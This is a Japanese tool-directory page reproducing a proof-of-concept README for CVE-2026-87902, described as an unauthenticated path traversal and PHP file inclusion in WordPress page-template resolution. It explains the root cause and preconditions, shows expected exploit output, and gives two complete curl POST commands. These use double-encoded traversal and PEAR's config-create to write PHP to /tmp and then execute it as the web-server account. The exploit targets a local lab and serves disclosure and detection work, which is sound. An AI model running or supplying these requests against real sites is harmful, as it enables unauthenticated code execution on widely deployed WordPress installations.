Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2026-87902-poc — CVE-2026-87902 の PoC — WordPress のページテンプレート解決における未認証のパストラバーサル(ローカル PHP インクルージョン、条件付き RCE)、脆弱なラボを固定 | Kitploit
ツール/GitHubGitHub/ressl/cve-2026-87902-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用セキュリティ仮想化ウェブセキュリティペネトレーションテストラボと実践
GitHubressl/cve-2026-87902-poc

cve-2026-87902-poc

CVE-2026-87902 の PoC — WordPress のページテンプレート解決における未認証のパストラバーサル(ローカル PHP インクルージョン、条件付き RCE)、脆弱なラボを固定

リポジトリを見る
3985926日前未レビュー
ウェブサイト

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-87902 — WordPress Core: ページテンプレート解決における未認証パストラバーサル

WordPress Core における未認証のローカル PHP ファイルインクルード。二重エンコードされた pagename 値を通じて発生し、特定のデプロイ条件下では Web サーバーアカウントの権限で PHP コードが実行される。

CVECVE-2026-87902
ベンダーアドバイザリGHSA-7hp8-65ch-5whp
解説記事CVE-2026-87902: Critical WordPress file inclusion and conditional RCE
影響を受けるバージョンWordPress Core 4.7.0 – 7.1.1 (アドバイザリのブランチ別範囲による全ブランチ); 7.0.2 で動的に再現済み
修正済み7.1.2 (7.1 ブランチ)、7.0.6 (7.0 ブランチ)、および 4.7.37 までの全ブランチへのバックポート (アドバイザリによる)
脆弱性分類CWE-98 (include におけるファイル名の不適切な制御)、CWE-22 / CWE-23 (パストラバーサル)
CVSS v3.1CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — 8.1 High
CVSS v4.0 (補足)CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N — 9.2 Critical
認証不要 — アカウント、Cookie、nonce、セッション、プラグイン、外部リクエストのいずれも不要
ユーザー操作不要
著者Robert Ressl — ressl.ch
PoC 検証日2026-09-22、本リポジトリのラボ環境にて — 検証結果 を参照

概要

WordPress はページテンプレートを、選択されたファイルがテーマルート内に留まることを 一切検証しない連鎖を通じて解決する:

  1. pagename と page_id は公開クエリ変数であり、WP::parse_request() が匿名の POST ボディから受け付ける。
  2. pagename 内の二重エンコードされたトラバーサルは、初期のクエリサニタイズを エスケープされた %xx オクテットとして通過する (wp_basename() は %2f を セパレータとして認識できず、sanitize_title_with_dashes() は有効なオクテットを 意図的に保持する)。
  3. その後、有効な page_id が実際に公開されたページを選択する一方で、悪意ある pagename はクエリオブジェクト内に残る。
  4. get_page_template() が後にその値に対して urldecode() を呼び出し、 page-templates/../../../../../../../usr/local/lib/php/pearcmd.php のような 候補をテンプレート階層に追加する。
  5. locate_template() と最終的なテンプレートローダーは、存在、読み取り可能性、 .php/.html 拡張子のみをチェックし、正規化されたパスが許可されたテーマルート内に あることは決して確認せず、そのまま include する。

これが WordPress Core における未認証のリモートローカルファイルインクルードプリミティブである。 テスト済みの公式ランタイム (wordpress:php8.3-apache、PEAR を同梱し php.ini を ロードしないため register_argc_argv が On) では、インクルードは PEAR の pearcmd.php を経由して連鎖された: 最初の匿名リクエストで config-create が 攻撃者制御の PHP を /tmp に書き込み、2 回目の匿名リクエストがそのファイルを インクルードして www-data として実行する。

Core におけるパス封じ込めの欠如が脆弱性である。PEAR はインクルードからコード実行への 環境依存の経路の一つに過ぎず、WordPress の依存関係ではなく、すべてのデプロイに 存在または利用可能なわけではない。

根本原因

検証済みのソースコード位置 (WordPress 7.0.2):

#場所役割
1wp-includes/class-wp.php:18,322-330pagename と page_id は公開クエリ変数であり、$_POST から読み取られる
2wp-includes/class-wp-query.php:2205sanitize_title_for_query( wp_basename( $query_vars['pagename'] ) ) — %2f は wp_basename() にとってセパレータではない
3wp-includes/formatting.php:2283-2289sanitize_title_with_dashes() は有効な %xx オクテットを削除せず保持する
4wp-includes/template.php:492$pagename_decoded = urldecode( $pagename ); — トラバーサルはサニタイズの後に有効化される
5wp-includes/template.php:722-736locate_template() は各テーマルートの下に候補を連結し、file_exists() のみを呼び出す
6wp-includes/template-loader.php:116-132realpath() がパスを正規化した後、正規のルート封じ込めチェックなしで include が実行される
7wp-includes/canonical.php:42-47redirect_canonical() は非 GET/HEAD に対して早期リターンするため、POST は正規化されずに済む

前提条件

単体のインクルードプリミティブには以下が必要:

#前提条件理由
1数値の page_id で選択される、公開済みで匿名から到達可能なページパス名検索が失敗した後、クエリによってページが返される必要がある
2それ以前に解決可能なカスタムページテンプレートが存在しないこと有効な割り当て済みテンプレートは悪意ある候補より前に順序付けられる
3アクティブな (子または親) テーマ内に、名前が page- で始まるトップレベルディレクトリ、例: page-templates/WordPress は固定の page- プレフィックスを先頭に付加するため、.. トラバーサルは位置 0 から開始できない; ディレクトリは存在してトラバース可能であればよく、書き込み可能である必要はない
4存在し、PHP ユーザーが読み取り可能な、選択されたローカルの .php ファイルローダーは is_file()/is_readable() をチェックし、.php 拡張子を要求する
5そのファイルをブロックするファイルシステム封じ込めが存在しないことopen_basedir や MAC ポリシーがインクルードを妨げる可能性がある

実証された PEAR 段階にはさらに、読み取り可能な pearcmd.php (およびその依存関係)、 Web SAPI に対する register_argc_argv=On、書き込み可能な出力ディレクトリが必要である。 本番環境の php.ini ファイルは register_argc_argv=Off を設定する; テスト済みの イメージは php.ini をロードしないため、コンパイル時のデフォルト (On) が適用された。 これは実証されたコード実行連鎖の普及率に関する重要な制限である。

同梱の Twenty Twenty-Three/Four/Five テーマにはトップレベルの page-* ディレクトリが 存在しないため、標準のラボでは以下に記載するフィクスチャが必要である。カスタムテーマは page-templates/ レイアウトを正当に使用できる (WordPress ドキュメント)。

アドバイザリは、これらの条件が出荷済みソフトウェアのどこで発生するかを記録している: テーマ条件はレガシーの Twenty Twelve および Twenty Fourteen テーマ、ならびに Neve、 Hestia、Sydney などのサードパーティテーマで満たされ、PEAR 遷移は公式 PHP Docker イメージおよび PHP 8.5 より古い PHP を実行するデフォルトの cPanel 構成に適用される。 (Twenty Twelve と Twenty Fourteen はどちらもトップレベルの page-templates/ ディレクトリを同梱している; 残りの記述はアドバイザリによるものである。) 本リポジトリは 完全な連鎖がどの程度の頻度で適用されるかを測定していない。

クイックスタート

./lab/up.sh            # WordPress 7.0.2 + MySQL 8.4 + the page-* fixture, installed and ready
python3 cve-2026-87902.py   # two anonymous POSTs, prints the proof marker

cve-2026-87902.py は Python 3.6+ (標準ライブラリのみ) を必要とし、デフォルトで http://127.0.0.1:8091 のラボに到達する。期待される出力:

[*] target        : http://127.0.0.1:8091
[*] page id       : 2 (sample-page, default template, via /index.php?rest_route=/wp/v2/pages&per_page=100&_fields=id,slug,template)
[*] depth 7       : stage 1 HTTP 200, stage 2 HTTP 200
[+] traversal     : page-templates/../../../../../../../usr/local/lib/php/pearcmd.php
[+] payload file  : page-templates/../../../../../../../tmp/wp-pear-rce-flag.php (written by PEAR in stage 1)
[+] marker        : 'CVE-2026-87902-POC-OK' found 12 time(s) in the stage-2 response
[+] proof         : CVE-2026-87902-POC-OK
[+] EXPLOIT SUCCESSFUL - PHP executed with the web-server account's privileges

終了コードは成功時 0、それ以外は 1 であるため、PoC は回帰/検出チェックとしても 機能する。

後片付け: docker compose down -v。

検証結果

2026-09-22 に本ラボ (Docker 29.4、OrbStack、Apple silicon) に対して実行:

チェック結果
段階 1HTTP 200; /tmp/wp-pear-rce-flag.php が www-data:www-data、モード 0644、1219 バイトで書き込まれた
ペイロード SHA-256460d359253d9933ad373ffc8a0027adc5a79d5ca542ab9b2cf9532f949682aa7 — 元のレポートに記録されたハッシュと同一
段階 2HTTP 200; 注入された PHP がモード 0444 の証明アーティファクトを出力した
マーカー出現回数12 (PEAR が制御されたルート値を 12 個の設定エントリにシリアライズする)
使用された認証情報なし — いずれのリクエストにも Cookie または Authorization ヘッダーはない
ネガティブコントロールpage-templates/ を削除 → 段階 2 は通常のページを返し、マーカーなし、終了コード 1

証明アーティファクトはコンテナ内の /flag で、root 所有かつ全ユーザー読み取り可能 (root:root、モード 0444)。これは Web サーバーアカウントとして の PHP 実行と ファイルアクセスを証明するものであり、権限昇格の対象ではない。

連鎖の仕組み

2 回の匿名 POST。WordPress のルーティング値はフォームボディで送信され、PEAR の 引数は生のクエリ文字列で送信される (PHP は生のクエリ文字列をリテラルの + で argv に分割し、個々の引数を URL デコードしない):

argv[0] = ""
argv[1] = "config-create"
argv[2] = "/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>"   # absolute PEAR root path
argv[3] = "/tmp/wp-pear-rce-flag.php"                                              # output file

段階 1 — pearcmd.php をインクルードし、ペイロードを書き込む:

curl --path-as-is -sS -X POST \
  'http://127.0.0.1:8091/?+config-create+/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>+/tmp/wp-pear-rce-flag.php' \
  --data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fusr%252flocal%252flib%252fphp%252fpearcmd'

段階 2 — 生成されたファイルをインクルードし、その PHP を実行する:

curl --path-as-is -sS -X POST \
  'http://127.0.0.1:8091/' \
  --data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252ftmp%252fwp-pear-rce-flag'

重要な詳細:

ツールをダウンロード